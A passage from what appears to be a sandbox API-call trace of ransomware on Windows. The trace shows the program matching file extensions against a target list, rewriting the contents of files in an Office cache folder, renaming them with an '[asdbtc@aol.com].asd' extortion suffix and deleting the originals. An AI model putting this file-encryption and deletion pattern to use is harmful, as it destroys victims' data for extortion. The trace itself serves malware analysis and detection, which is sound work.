[0056.998] lstrlenW (lpString=".zip") returned 4 [0056.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString=".rar") returned 4 [0056.998] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString=".bz2") returned 4 [0056.998] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString=".7z") returned 3 [0056.998] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0056.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.998] lstrlenW (lpString=".dbf") returned 4 [0056.998] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.998] lstrlenW (lpString=".1cd") returned 4 [0056.998] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0056.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0056.998] lstrlenW (lpString=".jpg") returned 4 [0056.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0056.999] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0056.999] lstrlenW (lpString="ProPlusrWW.msi") returned 14 [0056.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0056.999] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=27532288) returned 1 [0056.999] CloseHandle (hObject=0x184) returned 1 [0056.999] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020 [0057.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.000] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0057.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0057.000] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0057.001] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.001] ReadFile (in: hFile=0x184, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.004] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.004] ReadFile (in: hFile=0x184, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.011] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0057.011] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0057.011] ReadFile (in: hFile=0x184, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0057.261] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.261] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0057.282] SetEndOfFile (hFile=0x184) returned 1 [0057.577] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0057.580] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.580] WriteFile (in: hFile=0x184, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.581] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.581] WriteFile (in: hFile=0x184, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.584] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0057.584] WriteFile (in: hFile=0x184, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0057.587] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0057.587] CloseHandle (hObject=0x184) returned 1 [0057.588] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0057.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.594] lstrlenW (lpString=".doc") returned 4 [0057.594] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.594] lstrlenW (lpString=".docx") returned 5 [0057.594] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0057.594] lstrlenW (lpString=".pdf") returned 4 [0057.594] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.594] lstrlenW (lpString=".xls") returned 4 [0057.594] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.594] lstrlenW (lpString=".xlsx") returned 5 [0057.594] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0057.594] lstrlenW (lpString=".ppt") returned 4 [0057.594] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.594] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.594] lstrlenW (lpString=".zip") returned 4 [0057.594] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.594] lstrlenW (lpString=".rar") returned 4 [0057.594] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.594] lstrlenW (lpString=".bz2") returned 4 [0057.594] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.594] lstrlenW (lpString=".7z") returned 3 [0057.594] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString=".dbf") returned 4 [0057.595] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString=".1cd") returned 4 [0057.595] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString=".jpg") returned 4 [0057.595] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString=".doc") returned 4 [0057.595] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0057.595] lstrlenW (lpString=".docx") returned 5 [0057.595] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0057.595] lstrlenW (lpString=".pdf") returned 4 [0057.595] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0057.595] lstrlenW (lpString=".xls") returned 4 [0057.595] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0057.595] lstrlenW (lpString=".xlsx") returned 5 [0057.595] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0057.595] lstrlenW (lpString=".ppt") returned 4 [0057.595] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0057.595] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.595] lstrlenW (lpString=".zip") returned 4 [0057.595] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0057.595] lstrlenW (lpString=".rar") returned 4 [0057.595] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0057.595] lstrlenW (lpString=".bz2") returned 4 [0057.595] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0057.595] lstrlenW (lpString=".7z") returned 3 [0057.596] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0057.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.596] lstrlenW (lpString=".dbf") returned 4 [0057.596] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0057.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.596] lstrlenW (lpString=".1cd") returned 4 [0057.596] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0057.596] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0057.596] lstrlenW (lpString=".jpg") returned 4 [0057.596] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0057.596] lstrcmpiW (lpString1=".exe", lpString2=".asd") returned 1 [0057.596] lstrlenW (lpString="setup.exe") returned 9 [0057.596] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.855] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1377656) returned 1 [0058.855] CloseHandle (hObject=0x184) returned 1 [0058.856] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0058.862] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.865] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.865] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.865] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.898] GetLastError () returned 0x0 [0058.898] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.987] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0059.210] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x50588, lpOverlapped=0x0) returned 1 [0059.307] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0059.316] ReadFile (in: hFile=0x184, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.316] WriteFile (in: hFile=0x1a8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.316] SetEndOfFile (hFile=0x1a8) returned 1 [0059.317] CloseHandle (hObject=0x1a8) returned 1 [0059.317] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.317] SetEndOfFile (hFile=0x184) returned 1 [0059.321] CloseHandle (hObject=0x184) returned 1 [0059.321] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0059.321] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0059.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.321] lstrlenW (lpString=".doc") returned 4 [0059.321] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.321] lstrlenW (lpString=".docx") returned 5 [0059.322] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0059.322] lstrlenW (lpString=".pdf") returned 4 [0059.322] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString=".xls") returned 4 [0059.322] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString=".xlsx") returned 5 [0059.322] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0059.322] lstrlenW (lpString=".ppt") returned 4 [0059.322] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString=".zip") returned 4 [0059.322] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString=".rar") returned 4 [0059.322] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString=".bz2") returned 4 [0059.322] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.322] lstrlenW (lpString=".7z") returned 3 [0059.322] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString=".dbf") returned 4 [0059.322] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString=".1cd") returned 4 [0059.322] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString=".jpg") returned 4 [0059.322] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.322] lstrlenW (lpString=".doc") returned 4 [0059.322] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0059.322] lstrlenW (lpString=".docx") returned 5 [0059.322] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0059.323] lstrlenW (lpString=".pdf") returned 4 [0059.323] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0059.323] lstrlenW (lpString=".xls") returned 4 [0059.323] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0059.323] lstrlenW (lpString=".xlsx") returned 5 [0059.323] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0059.323] lstrlenW (lpString=".ppt") returned 4 [0059.323] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0059.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.323] lstrlenW (lpString=".zip") returned 4 [0059.323] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0059.323] lstrlenW (lpString=".rar") returned 4 [0059.323] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0059.323] lstrlenW (lpString=".bz2") returned 4 [0059.323] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0059.323] lstrlenW (lpString=".7z") returned 3 [0059.323] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0059.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.323] lstrlenW (lpString=".dbf") returned 4 [0059.323] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0059.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.323] lstrlenW (lpString=".1cd") returned 4 [0059.323] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0059.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0059.323] lstrlenW (lpString=".jpg") returned 4 [0059.323] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0059.323] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0059.323] lstrlenW (lpString="PidGenX.dll") returned 11 [0059.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.947] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=1463568) returned 1 [0059.947] CloseHandle (hObject=0x188) returned 1 [0059.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0059.947] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0059.947] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.948] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.948] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0059.948] GetLastError () returned 0x0 [0059.948] ReadFile (in: hFile=0x188, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0059.971] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0060.724] ReadFile (in: hFile=0x188, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x65520, lpOverlapped=0x0) returned 1 [0060.742] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0061.087] ReadFile (in: hFile=0x188, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.087] WriteFile (in: hFile=0x190, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0061.214] SetEndOfFile (hFile=0x190) returned 1 [0061.214] CloseHandle (hObject=0x190) returned 1 [0061.214] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.214] SetEndOfFile (hFile=0x188) returned 1 [0061.219] CloseHandle (hObject=0x188) returned 1 [0061.219] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0061.219] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0061.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.220] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0061.220] lstrlenW (lpString=".doc") returned 